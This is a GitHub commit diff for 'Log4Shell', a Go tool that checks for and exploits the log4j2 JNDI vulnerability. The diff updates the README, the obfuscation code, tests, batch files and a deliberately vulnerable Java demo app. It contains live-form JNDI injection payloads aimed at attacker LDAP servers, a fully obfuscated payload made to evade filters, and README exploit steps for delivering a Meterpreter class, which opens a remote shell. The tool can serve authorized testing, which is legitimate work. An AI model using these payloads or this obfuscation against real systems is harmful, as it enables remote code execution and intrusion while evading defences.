Skip to content

Commit 2b43207

Browse files
committed
update all files about malicious(payload) string.
1 parent 969f00c commit 2b43207

File tree

9 files changed

+30
-31
lines changed

9 files changed

+30
-31
lines changed

README.md

Lines changed: 18 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Log4Shell
2-
* Check, exploit, obfuscate, TLS, ACME in one Go program.
2+
* Check, exploit, obfuscate, TLS, ACME in one Go program.
33
* You don't need to install anything except develop it.
44

55
## Usage
@@ -10,41 +10,40 @@
1010
### Start LDAPS and HTTPS server
1111
* ```Log4Shell.exe -host "example.com" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"```
1212
* ```Log4Shell.exe -host "1.1.1.1" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` (need IP SANs)
13-
13+
1414
### Start LDAPS and HTTPS server with ACME
1515
* ```Log4Shell.exe -host "example.com" -auto-cert``` (must use domain name)
16-
16+
1717
### Obfuscate malicious(payload) string
1818
```
19-
Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/calc.class}"
20-
21-
raw: ${jndi:ldap://1.1.1.1:3890/calc.class}
22-
${${lhnK:JFL3Nl:-j}n${Yx6-A3NuXSY1nI-g38C4MN-WAFx:-d}i:${2O:bO2I5l:-l}${yeZ6-mnrv6pb:gB49n:XrYMP:-d}
23-
${jVBMSs-iOFWslRG-XuNO:dsCO:-a}${jYYNn:Twh80-IYXK:-p:/}${eOFbh:DW35u2:-/1.}${EkFw3Z-YsM9CIMV8:g2DHZ:
24-
-1}${Vez8Sb:Mwn:-}${yWH0V-FY9jJQZ2:TOSkrotU:oq1i:-}${kZ:BoJpOxRH-yFI2POt-88w2:-.1}${xbswX-VstKzXnyNz
25-
i8:jeEQKB5WRH-Ob:-}${Uyhe0-aYuAh-MdR63to:GONgfM:-.}${eA:eCPgpV-NWF7s:-}${mrLla-owJSvkD:n0cmdQ-V2cLx:
26-
-1:3}${CwG9:Hc:-}${xT:aiD7ho:xz:-8}90${NTSL-dSfw9NC:7OiGEp:gMQwko:-}/${TCpW:UhZI0IO8:9Jz5MH:WyM:-c}$
27-
{Mlv:AS8TOFMM-b9I2:FqvBY:-al}${mfGW:EY1Yd48:E0KhRGfp:5CBsuC:-c}${xDw1-ZyHav9K:jPHo18i:zibmI:-.}c${ye
28-
-kZjRa5g61cm-Hn2yR7:-la}${Htg:cySA:-s}s}
19+
Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}"
20+
21+
raw: ${jndi:ldap://1.1.1.1:3890/Calc}
22+
23+
${jn${Nc3-h17cwiZ-bRU2sh:-di:}${CGPuF-OGZxNU-zZfWp:-l}${wW:sVK9ZUijf:jUelV4upFr:wjD:-}d${OZQ-MqOEGT9K
24+
-IAdC:-ap}${Kce64-15l39K4DD5-xWtee:zY:-:/}${gZm-yFU0:-}${o05ov5-9bU2WWgtlf:PK5:-/}${y7sa1T:aFd6Q7S45r
25+
-KYGD:-}${0dPYxy:IqCd:-1}${YSf-yHfZ:-.1}${Jct1X-kQVdPM:cKmXcaheDfY:kI:-}.${It:CK52YEP-6HC:-1.1}${rzgS
26+
:e1wOc5zHLe-Q1tI2IqBj-G2A:-}:3${NMDyH8-bsqLVD-m0HdT:ik:-}${Bg-2GX6XW:CFHnf:-}${4sqv:HPwwv:-89}0${BzHb
27+
q-JBkQtJ7qDz:L7PaQXH:PUYv91:-/C}${QfhcM:tn:-}${6e-OkiFFt:WtnF:-al}c${etTbi-iWYq-pvATIA6K2K:Rq:-}}
2928
```
30-
29+
3130
## Check
3231
* start Log4Shell server
3332
* put your class file to the payload directory
34-
* send ```${jndi:ldap://1.1.1.1:3890/nop.class}```
35-
* send ```${jndi:ldaps://example.com:3890/nop.class}``` with TLS
33+
* send ```${jndi:ldap://1.1.1.1:3890/Nop}```
34+
* send ```${jndi:ldaps://example.com:3890/Nop}``` with TLS
3635

3736
## Exploit
3837
* start Log4Shell server
3938
* put your class file to the payload directory
40-
* send ```${jndi:ldap://1.1.1.1:3890/meterpreter.class}```
41-
* send ```${jndi:ldaps://example.com:3890/meterpreter.class}``` with TLS
39+
* send ```${jndi:ldap://1.1.1.1:3890/Meterpreter}```
40+
* send ```${jndi:ldaps://example.com:3890/Meterpreter}``` with TLS
4241
* meterpreter will open source after some time
4342

4443
## VulApp
4544
* VulApp is a vulnerable Java program that use log4j2 package.
4645
* You can use it for develop this project easily.
47-
* ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/calc.class}```
46+
* ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Calc}```
4847

4948
## Help
5049
```

cmd/main.go

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -53,8 +53,7 @@ func banner() {
5353
func main() {
5454
// output obfuscated string
5555
if obf != "" {
56-
fmt.Println("raw:", obf)
57-
fmt.Println(log4shell.Obfuscate(obf))
56+
fmt.Printf("raw: %s\n\n%s\n", obf, log4shell.Obfuscate(obf))
5857
return
5958
}
6059

http.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
2525
}
2626
}()
2727

28-
// check url structure(/secret/calc.class)
28+
// check url structure(/secret/Calc.class)
2929
sections := strings.SplitN(r.RequestURI, "/", 3)
3030
if len(sections) < 3 {
3131
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)

obfuscate.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ import (
55
"strings"
66
)
77

8-
// raw: ${jndi:ldap://127.0.0.1:3890/calc.class}
8+
// raw: ${jndi:ldap://127.0.0.1:3890/Calc}
99
//
1010
// obfuscate rule:
1111
// 1. ${xxx-xxx:any-code:-bc} => bc
@@ -19,8 +19,8 @@ var skippedChars = map[byte]struct{}{
1919
'}': {},
2020
}
2121

22-
// Obfuscate is used to obfuscate malicious(payload) string like
23-
// ${jndi:ldap://127.0.0.1:3890/calc.class} for log4j2 package.
22+
// Obfuscate is used to obfuscate malicious(payload) string
23+
// like ${jndi:ldap://127.0.0.1:3890/Calc} for log4j2 package.
2424
func Obfuscate(raw string) string {
2525
l := len(raw)
2626
if l == 0 {

obfuscate_test.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,8 +10,9 @@ import (
1010
func TestObfuscate(t *testing.T) {
1111
t.Run("common", func(t *testing.T) {
1212
for _, testdata := range [...]string{
13-
"${jndi:ldap://127.0.0.1:3890/calc.class}",
14-
"${jndi:ldap://127.0.0.1:3890/notepad.class}",
13+
"${jndi:ldap://127.0.0.1:3890/Calc}",
14+
"${jndi:ldap://127.0.0.1:3890/Notepad}",
15+
"${jndi:ldap://127.0.0.1:3890/Nop}",
1516
"test",
1617
} {
1718
obfuscated := Obfuscate(testdata)

vulapp/jar/calc.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/calc.class}
1+
D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Calc}

vulapp/jar/nop.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/nop.class}
1+
D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Nop}

vulapp/jar/notepad.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/notepad.class}
1+
D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Notepad}

vulapp/src/src/main/java/log4j.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ public class log4j {
66

77
public static void main(String[] args) throws InterruptedException {
88
if (args.length == 0) {
9-
logger.error("${jndi:ldap://127.0.0.1/exp}");
9+
logger.error("${jndi:ldap://127.0.0.1:3890/Calc}");
1010
return;
1111
}
1212
System.out.println(args[0]);

0 commit comments

Comments
 (0)